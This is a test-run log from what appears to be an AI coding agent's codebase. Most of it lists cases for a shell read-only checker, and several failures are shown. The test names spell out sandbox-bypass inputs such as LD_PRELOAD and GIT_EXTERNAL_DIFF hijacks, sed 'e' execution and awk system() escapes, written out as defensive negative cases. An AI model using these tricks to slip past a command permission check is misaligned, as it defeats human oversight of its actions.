❯ src/utils/shellReadOnlyChecker.test.ts (230 tests | 1 failed) 7464ms
✓ evaluateShellCommandReadOnly > allows simple read-only command 152ms
✓ evaluateShellCommandReadOnly > rejects mutating commands like rm 23ms
✓ evaluateShellCommandReadOnly > rejects differently-cased command names 6ms
✓ evaluateShellCommandReadOnly > rejects redirection output 5ms
✓ evaluateShellCommandReadOnly > rejects command substitution 16ms
✓ evaluateShellCommandReadOnly > allows git status but rejects git commit 40ms
✓ evaluateShellCommandReadOnly > rejects find with exec 17ms
✓ evaluateShellCommandReadOnly > rejects sed in-place 14ms
✓ evaluateShellCommandReadOnly > rejects empty command 5ms
✓ evaluateShellCommandReadOnly > rejects environment prefix followed by allowed command 7ms
✓ evaluateShellCommandReadOnly > multi-command security > rejects commands separated by newlines (CVE-style attack) 12ms
✓ evaluateShellCommandReadOnly > multi-command security > rejects commands separated by Windows newlines 18ms
✓ evaluateShellCommandReadOnly > multi-command security > rejects newline-separated commands when any is mutating 13ms
✓ evaluateShellCommandReadOnly > multi-command security > allows chained read-only commands with && 10ms
✓ evaluateShellCommandReadOnly > multi-command security > allows chained read-only commands with || 14ms
✓ evaluateShellCommandReadOnly > multi-command security > allows chained read-only commands with ; 7ms
✓ evaluateShellCommandReadOnly > multi-command security > allows piped read-only commands with | 8ms
✓ evaluateShellCommandReadOnly > multi-command security > allows backgrounded read-only commands with & 7ms
✓ evaluateShellCommandReadOnly > multi-command security > rejects chained commands when any is mutating 31ms
✓ evaluateShellCommandReadOnly > multi-command security > allows single read-only command without chaining 7ms
✓ evaluateShellCommandReadOnly > multi-command security > rejects single mutating command (baseline check) 7ms
✓ evaluateShellCommandReadOnly > multi-command security > treats escaped newline as line continuation (single command) 8ms
✓ evaluateShellCommandReadOnly > multi-command security > allows consecutive newlines with all read-only commands 11ms
✓ evaluateShellCommandReadOnly > awk command security > allows safe awk commands 63ms
✓ evaluateShellCommandReadOnly > awk command security > rejects awk with system() calls 18ms
✓ evaluateShellCommandReadOnly > awk command security > rejects gawk indirect function calls 21ms
✓ evaluateShellCommandReadOnly > awk command security > rejects awk with file output redirection 21ms
✓ evaluateShellCommandReadOnly > awk command security > rejects awk with command pipes 13ms
✓ evaluateShellCommandReadOnly > awk command security > rejects awk with getline from commands 15ms
✓ evaluateShellCommandReadOnly > awk command security > rejects awk with close() calls 12ms
✓ evaluateShellCommandReadOnly > sed command security > allows safe sed commands 65ms
✓ evaluateShellCommandReadOnly > sed command security > rejects sed with execute command 16ms
✓ evaluateShellCommandReadOnly > sed command security > rejects sed with write command 19ms
✓ evaluateShellCommandReadOnly > sed command security > rejects sed with read command 14ms
✓ evaluateShellCommandReadOnly > sed command security > still rejects sed in-place editing 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort -o output input" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort input" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort --help" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort --compress-program gzip input" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort --out=output input" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort -roout input" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "tree -Cofile ." as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort --co=cat input" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "tree --output=tree.txt" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "tree directory" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "tree --help" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq input output" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq - output" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq -- -f output" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq input -- -f" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq input" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq -f" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "tee output" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "dd of=output" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "less file" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "more file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "printf -v PATH /tmp" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "printf -v PATH /tmp; ls" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg --pre cat pattern" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg --hostname-bin=hostname pattern" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg -z pattern archive.gz" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ripgrep -iz pattern archive.gz" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg --search-zip pattern archive.gz" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg -- -z file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch topic" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --color=always color-topic" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --column column-topic" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --sort=refname sort-topic" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --format='%(refname)' format-topic" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch -v verbose-topic" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --edit-description" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch -- --list" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --list -- -d" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --list --color=always topic" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git branch --list topic" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git remote set-url origin url" as read-only 14ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git remote unknown-action" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git remote show remove" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git remote get-url prune" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git diff --output=patch" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git log --output=log.out" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git show --output=show.out HEAD" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git blame --output=blame.out file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git diff --ext-diff" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git --config-env=diff.external=HELPER diff" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git --paginate log" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git -p log" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git --unknown-option status" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git -- status" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git --help commit" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git status --help" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git log --help" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git diff --help" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git log --show-signature -1" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git show --format=%G? HEAD" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "GIT_EXTERNAL_DIFF=/tmp/helper git diff" as read-only 13ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "FOO=bar GIT_EXTERNAL_DIFF=/tmp/helper git diff" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "FOO=bar ls" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "LD_PRELOAD=/tmp/evil.so ls" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "RIPGREP_CONFIG_PATH=/tmp/config rg pattern" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "PAGER=helper git log" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git show --textconv HEAD:file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git grep --open-files-in-pager=less needle" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git grep -Ovim needle" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git cat-file --filters HEAD:file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git commit -m --ext-diff" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git commit -m '%G?'" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git add -- --help" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git add -- --dry-run" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "touch -- --help" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "bash -c ls" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -fls output" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find --help" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -name" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -name -delete" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -printf -delete" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -newermt -delete" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . -samefile -delete" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -f script.sed file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -e -i file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -f -i file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -e-i file" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -- -i file" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -I .bak 's/a/b/' file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -I.bak 's/a/b/' file" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -ni.bak 's/a/b/' file" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -nI.bak 's/a/b/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -fscript.sed file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed --in-pl=.bak 's/a/b/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed --f script.sed file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -newout input" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -nEewout input" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -es/a/b/e" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -einstall file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -neinstall file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -e '' file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/printf hacked > marker/ep' file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's#a#printf hacked > marker#pe' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'etouch marker' file" as read-only 18ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '1etouch marker' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/b/woutput' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'woutput' file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '1woutput' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '/pattern/woutput' file" as read-only 10ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'W output' file" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '1W output' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'p;w output' file" as read-only 10ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/b/;w output' file" as read-only 12ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/;/;w output' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed -e 's/a/b/' -e 'woutput' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed \"$SCRIPT\" file" as read-only 19ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed s/a/*/ file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/b/w' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'w' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '1w' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 'R input' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/b/' 'w file'" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/new value/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/blue sky/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/car value/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/w /x/' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed '/p;w output/p' file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed 's/a/;w output/' file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '{ print > output }' file" as read-only 10ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '{ print>\"output\" }' file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { print(\"x\")|\"cat > output\" }'" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { print(1 > \"0\") }'" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { printf(\"%d\", 1 > \"0\") }'" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { print \"print > \" \"output\" }'" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { # print > \"out\"\nprint }'" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { print /x; print y > \"out\";/ }'" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk 'BEGIN { print x / 2 > \"out\" }'" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '{ print }' 'print > \"out\"'" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -v mode=1 'BEGIN { print > \"out\" }' input" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '/pattern/ { print > \"out\" }' input" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -fscript.awk file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -W exec=script.awk file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -Wexec=script.awk file" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk \"$PROGRAM\" file" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk \"$PROGRAM{ print }\" file" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sed \"s/a/$SCRIPT\" file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -v x=\"$VALUE\" '{ print x }' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '@include \"library.awk\"' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk -e '{ print }' file" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk --load extension '{ print }' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk --profile=report '{ print }' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk {print*2} file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq *" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "uniq \"$FILES\"" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort \"$OPTIONS\" input" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "sort {-o,output} input" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "find . \"$EXPRESSION\"" as read-only 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "rg \"$OPTIONS\" pattern" as read-only 9ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "git status \"$OPTIONS\"" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "awk '{ getline }' file" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "GIT_EXTERNAL_DIFF='touch /tmp/pwned'; git diff" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(PATH=/tmp; ls)" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls |" as read-only 3ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls | | cat" as read-only 3ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls && && cat" as read-only 2ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls || || cat" as read-only 2ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls ; ; cat" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls |& | cat" as read-only 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "ls & & cat" as read-only 4ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(; ls)" as read-only 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "{ && ls; }" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(ls |)" as read-only 3ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(ls | | cat)" as read-only 3ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(ls &&)" as read-only 3ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > does not schedule "(ls ||)" as read-only 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git remote get-url origin" 8ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git diff -- file" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git diff -Oorderfile" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git log -p" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git show -p HEAD" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git blame -p file" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "git log -- --output=log.out" 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's/a/*/' file" 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's/old/new/' file" 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's/hello/world/' file" 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's/error/warning/g' file" 10ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed -n '/needle/p' file" 20ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed '/pattern/d' file" 10ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's/a/woutput/' file" 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's#x#s/a/b/woutput#' file" 7ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 's#x#foo;woutput#' file" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "sed 'p;d' file" 5ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "awk '{ print*2 }' file" 6ms
✓ evaluateShellCommandReadOnly > tri-state classifier mirrors > preserves read-only classification for "awk -F : '{ print undefined }' input" 7ms
× evaluateShellCommandReadOnly > tri-state classifier mirrors > handles adversarial rule inputs without regex backtracking 5156ms
→ expected 4667.754579 to be less than 1000
✓ src/core/openaiContentGenerator/errorHandler.test.ts (41 tests) 1825ms
✓ EnhancedErrorHandler > handle method > should throw the original error for non-timeout errors 367ms
✓ src/utils/sedEditParser.test.ts (38 tests) 1023ms
✓ src/tools/team-lifecycle.test.ts (5 tests) 4867ms
✓ Team lifecycle E2E > full lifecycle: create → tasks → messages → list → update → delete 4336ms
✓ src/utils/toolResultDisplayCompaction.test.ts (27 tests) 781ms
✓ src/utils/gitIgnoreParser.test.ts (35 tests) 2310ms
✓ GitIgnoreParser > Basic ignore behaviors > should not ignore files when no .gitignore exists 391ms
✓ src/memory/writeContextFile.test.ts (17 tests) 1630ms
✓ writeWorkspaceContextFile > creates QWEN.md with a fresh section header on first append 459ms
✓ src/hooks/httpHookRunner.test.ts (20 tests) 1344ms
✓ src/utils/retryErrorClassification.test.ts (38 tests) 734ms
✓ src/memory/skillReviewNudge.integration.test.ts (18 tests) 859ms
✓ src/services/sessionTitle.test.ts (19 tests) 2617ms
✓ tryGenerateSessionTitle > returns {ok:false, reason:"empty_result"} when the model returns junk 1654ms
✓ src/subagents/validation.test.ts (41 tests) 1052ms
✓ SubagentValidator > validateName > should accept valid names 314ms
✓ src/services/session-reference-service.test.ts (22 tests) 725ms
✓ src/core/plan-mode-shell-policy.test.ts (19 tests) 2998ms
✓ plan-mode shell policy > classifies git status as read-only 1549ms
✓ src/agents/runtime/workflow-saved.test.ts (33 tests) 2439ms
✓ workflow-saved > listSavedWorkflows > merges both scopes, project shadows user, sorted by name 422ms
✓ src/hooks/asyncHookRegistry.test.ts (20 tests) 692ms
✓ src/tools/session-mcp-view.test.ts (17 tests) 759ms
✓ src/memory/store.test.ts (17 tests) 1699ms
✓ src/goals/goal-reducer.test.ts (38 tests) 542ms
↓ src/agents/runtime/workflow-p4a-meta-live.live.test.ts (6 tests | 6 skipped)
✓ src/agents/runtime/workflow-runner.test.ts (8 tests) 2174ms
✓ WorkflowRunner > passes the registry approval bridge only to production dispatch 678ms
❯ src/skills/skill-activation.test.ts (22 tests | 2 failed) 32551ms
✓ splitConditionalSkills > treats skills without paths as unconditional 118ms
✓ splitConditionalSkills > treats empty paths array as unconditional 13ms
✓ splitConditionalSkills > classifies skills with non-empty paths as conditional 43ms
✓ SkillActivationRegistry > returns empty when no conditional skills are registered 20ms
✓ SkillActivationRegistry > activates a conditional skill when a matching path is touched 160ms
✓ SkillActivationRegistry > does not re-activate an already-active skill on subsequent matches 166ms
✓ SkillActivationRegistry > returns empty for paths that do not match any skill 140ms
✓ SkillActivationRegistry > activates multiple skills whose globs overlap on a single file 27ms
✓ SkillActivationRegistry > accepts relative file paths by resolving against the project root 14ms
✓ SkillActivationRegistry > ignores paths outside the project root 16ms
✓ SkillActivationRegistry > supports multiple glob patterns per skill (OR semantics) 22ms
✓ SkillActivationRegistry > activates broad globs on dotfiles too (dot: true semantics) 40ms
✓ SkillActivationRegistry > survives an invalid picomatch pattern (drops it, keeps the rest) 25ms
✓ SkillActivationRegistry > rejects an absolute relative path (Windows cross-drive case) 13ms
✓ resolveProjectRelativePath > returns the forward-slash-normalized relative path for in-project files (POSIX) 8ms
✓ resolveProjectRelativePath > returns null for paths outside the project root (POSIX, `..` prefix) 8ms
✓ resolveProjectRelativePath > returns null for Windows cross-drive paths (different drive letter) 16ms
✓ resolveProjectRelativePath > normalizes backslashes for in-project Windows paths 7ms
× extractToolFilePaths → SkillActivationRegistry integration > activates a skill keyed on src/**/*.ts from glob({ path: "src", pattern: "**/*.ts" }) 30367ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
× extractToolFilePaths → SkillActivationRegistry integration > does NOT activate from external glob.path (project-root guard wins) 345ms
→ Cannot access '__vite_ssr_import_9__' before initialization
✓ extractToolFilePaths → SkillActivationRegistry integration > activates skills when file is reached via symlinked directory 508ms
✓ extractToolFilePaths → SkillActivationRegistry integration > activates skills when project root itself is a symlink 334ms
✓ src/services/toolUseSummary.test.ts (34 tests) 1058ms
✓ src/core/nonInteractiveToolExecutor.test.ts (10 tests) 1399ms
✓ executeToolCall > should execute a tool successfully 691ms
✓ src/agents/team/mailbox.test.ts (18 tests) 2658ms
✓ mailbox > writes and reads a message 420ms
✓ mailbox > lockless readInbox never sees a partial file mid-write 362ms
✓ src/tools/artifact/artifact-tool.test.ts (20 tests) 8043ms
✓ ArtifactTool > publishes a fragment, wraps it, and opens the url 2070ms
✓ ArtifactTool > rejects source fragments that exceed the artifact byte budget 1535ms
✓ ArtifactTool > enforces the published artifact size cap 2526ms
✓ src/utils/partUtils.test.ts (47 tests) 592ms
✓ src/agents/team/teamHelpers.test.ts (45 tests) 2507ms
✓ file I/O > path helpers > getTeamDir returns correct path 320ms
✓ file I/O > tryReclaimStaleTeam > reclaims a team whose lead process is dead 913ms
✓ src/permissions/classifier-transcript.test.ts (14 tests) 467ms
✓ src/tools/exit-worktree.session.integ.test.ts (8 tests) 24629ms
